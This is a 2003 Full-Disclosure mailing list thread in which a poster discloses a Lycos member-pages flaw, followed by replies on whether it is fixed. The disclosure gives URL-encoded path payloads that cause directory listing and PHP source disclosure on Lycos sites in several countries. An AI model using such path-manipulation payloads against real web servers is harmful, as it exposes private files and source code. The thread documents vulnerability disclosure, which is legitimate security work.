[Full-Disclosure] Re: (Fixed under Pressure?) LYCOS WorldWide Members' Accounts Source Pages Disclosure

[Elv1S <elvi52001@xxxxxxxxx>]

obliged to make the pressure on LYCOS and disclosure this f**k** vuln, so they 
finally fix ? not sure
 
--> directory listening still works for the /Member_Name/ 
 

kessler@xxxxxx wrote:

Worked a few minutes ago, fixed now. Produces 404 only now.


Elv1S <elvi52001@xxxxxxxxx> wrote: 
Title : LYCOS WorldWide Members' Accounts Source Pages Disclosure & Directory 
Listening
Date  : 04/06/2003
Found : By ElviS (The King)

Greetz to :  www.k-otik.com    <- ur so sexy - CaSsDéDi ;-) 

This vulnerability was PRIVATE and now Public, Very simple to exploit this vuln 
:

membres.lycos.fr/Member_Name/Directory/%3f/%3f/  (Directory Listening)
membres.lycos.fr/Member_Name/Directory/file.php%3f/%3f.jsp (Source Disclosure)

Vulnerable : Lycos FRANCE - United Kingdom - Spain - Italy - Nederland - 
Germany ...
 
membres.lycos.fr
members.lycos.co.uk
usuarios.lycos.es
utenti.lycos.it
members.lycos.nl
mitglied.lycos.de
[...]

Are we Secure ?




---------------------------------
Do you Yahoo!?
Yahoo! SiteBuilder - Free, easy-to-use web site design software



---------------------------------
Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en français !
Testez le nouveau Yahoo! Mail